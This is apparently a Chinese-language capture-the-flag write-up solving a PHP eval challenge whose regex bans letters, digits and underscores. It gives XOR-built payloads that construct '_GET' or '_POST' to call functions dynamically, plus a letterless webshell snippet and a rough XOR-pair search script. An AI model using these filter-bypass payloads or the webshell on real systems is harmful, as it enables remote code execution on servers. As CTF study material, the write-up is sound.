昨天在做题的时候遇到了这样一道题
<?php
include 'flag.php';
if(isset($_GET['t'])){
$_COOKIE['bash_token'] = $_GET['t'];
}else{
die("Token Lost.");
}
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>50){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("Not Allowed.");
}
//pre_match(code长度很长可以绕过)
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
payloadone
?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag
#构造一个变量_
变量的值为_GET
执行$_GET[_]($_GET[__])
payload two
?code=${"!"^"~"}="]%];,<<"^":@)}@][";${"!"^"~"}();
#构造一个变量_
变量的值为 getFlag
执行 _();
总的来说,是要传进去两个参数t和code 会执行 @eval($code) 但是code限制了传进去的长度不能超过50,而且会进行正则匹配 pre_match() #pre_match()可通过长度过长来绕过
这里正则匹配禁用了大写A-Z,小写A-Z,数字0-9,以及下划线_, 我们看到可以通过调用getFLAG来得到flag
跟P牛所写的 一些不包含数字和字母的webshell 原理相同
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);}
?>
思路
首先思路明确,我们是要用非字母、数字的字符经过各种变化,最后能构造出我们所需要的字符,然后利用php允许动态函数执行的特点,拼接一个函数名
方法一
在php中,两个字符串执行异或操作后,得到的还是一个字符串,我们想到可以用两个非字母、数字的字符,他们异或得到我们所需要的字母。
这里我们先了解一下异或(^)的概念
异或两个字母 首先把他们转化成ASCII码值 这里有python的两个函数特别好用
ord(“A”) 字母转ASCII char(65) ASCII转字母
比如像这个例子
A的ASCII值是65,对应的二进制值是01000001
?的ASCII值是63,对应的二进制值是00111111
异或的二进制的值是10000000,对应的ASCII值是126,对应的字符串的值就是~了
for i in range(58,65):
a.append(i)
for i in range(91,97):
a.append(i)
for i in range(123,128):
a.append(i)
#print (a)
for i in a:
for j in a:
if chr(i^j) in string.printable:
print("i="+chr(i)+" j="+chr(j)+" i^j="+chr(i^j))
可以利用特殊字符异或得出可见字母
若有一个字符串,我们可以利用批量异或这个是我自个创造的,也就是这样
得到_POST的两种方法 :
echo $___="#./|{"^"|~`//";
echo $__=("#"^"|"); // $__ = _
echo $__.=("."^"~"); // _P
echo $__.=("/"^"`"); // _PO
echo $__.=("|"^"/"); // _POS
echo $__.=("{"^"/"); // _POST
// .= 是字符串的连接
这样我们就构造出了_GET,但是这是不够的,我们要去调用getFlag这个函数
此时引入一个新的知识点,我所不了解的:
$_GET[0]($_GET[1])
0为函数名 1为函数参数
我们用$_GET[getFLag]($_GET[null])
来调用这个动态函数,这里我们要用到指针,&=getFlag,传值的时候指针不会被引用,但是变量的值已经为getFlag了